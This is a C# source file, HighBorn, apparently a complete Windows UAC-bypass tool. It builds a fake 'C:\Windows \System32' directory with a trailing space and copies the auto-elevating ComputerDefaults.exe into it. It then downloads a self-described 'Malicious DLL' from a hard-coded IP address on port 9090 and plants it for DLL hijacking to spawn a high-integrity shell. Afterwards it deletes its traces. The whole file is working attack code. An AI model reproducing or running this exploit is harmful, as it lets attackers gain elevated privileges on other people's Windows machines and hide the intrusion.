HighBorn.cs 3.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101
  1. using System;
  2. using System.IO;
  3. using System.Runtime.InteropServices;
  4. using System.Diagnostics;
  5. using System.Net;
  6. namespace HighBorn
  7. {
  8. class HighBorn
  9. {
  10. [DllImport("kernel32.dll", SetLastError = true)]
  11. static extern bool Wow64DisableWow64FsRedirection(ref IntPtr ptr);
  12. [DllImport("kernel32.dll", SetLastError = true)]
  13. static extern bool Wow64RevertWow64FsRedirection(IntPtr ptr);
  14. [DllImport("kernel32.dll", SetLastError = true)]
  15. static extern bool CreateDirectory(string lpPathName, IntPtr lpSecurityAttributes);
  16. [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  17. static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);
  18. [DllImport("kernel32.dll", SetLastError = true)]
  19. [return: MarshalAs(UnmanagedType.Bool)]
  20. static extern bool DeleteFileW([MarshalAs(UnmanagedType.LPWStr)]string lpFileName);
  21. [DllImport("kernel32.dll", SetLastError = true)]
  22. static extern bool RemoveDirectory(string lpPathName);
  23. public static void Main(string[] args)
  24. {
  25. IntPtr wow64Value = IntPtr.Zero;
  26. Wow64DisableWow64FsRedirection(ref wow64Value);
  27. Console.WriteLine("[^] Directories Created");
  28. try
  29. {
  30. CreateDirectory(@"\\?\C:\Windows \", IntPtr.Zero);
  31. CreateDirectory(@"\\?\C:\Windows \System32\", IntPtr.Zero);
  32. }
  33. catch
  34. {
  35. Console.WriteLine("[-] Unable to create directories");
  36. }
  37. Console.WriteLine("[^] Copying Executable Into Mock Directory");
  38. try
  39. {
  40. CopyFile(@"C:\Windows\System32\ComputerDefaults.exe", @"C:\Windows \System32\ComputerDefaults.exe", true);
  41. }
  42. catch
  43. {
  44. Console.WriteLine("[-] Unable to create the mock directories");
  45. }
  46. Console.WriteLine("[^] Downloading Malicious DLL");
  47. try
  48. {
  49. using (WebClient webClient = new WebClient())
  50. {
  51. webClient.DownloadFile("http://172.16.202.178:9090/secur32.dll", @"C:\Windows\temp\secur32.dll");
  52. }
  53. }
  54. catch
  55. {
  56. Console.WriteLine("[^] DLL Downloaded");
  57. }
  58. CopyFile(@"C:\Windows\temp\secur32.dll", @"C:\Windows \System32\secur32.dll", true);
  59. Console.WriteLine("[^] Spawining High Integrity Shell");
  60. try
  61. {
  62. Process.Start(@"C:\Windows \System32\ComputerDefaults.exe").WaitForExit();
  63. }
  64. catch
  65. {
  66. Console.WriteLine("[-] Shell fucked up");
  67. }
  68. Console.WriteLine("[^] Cleaning Up");
  69. DeleteFileW(@"C:\Windows\temp\secur32.dll");
  70. DeleteFileW(@"C:\Windows \System32\ComputerDefaults.exe");
  71. DeleteFileW(@"C:\Windows \System32\secur32.dll");
  72. RemoveDirectory(@"C:\Windows \System32\");
  73. RemoveDirectory(@"C:\Windows \");
  74. Wow64RevertWow64FsRedirection(wow64Value);
  75. }
  76. }
  77. }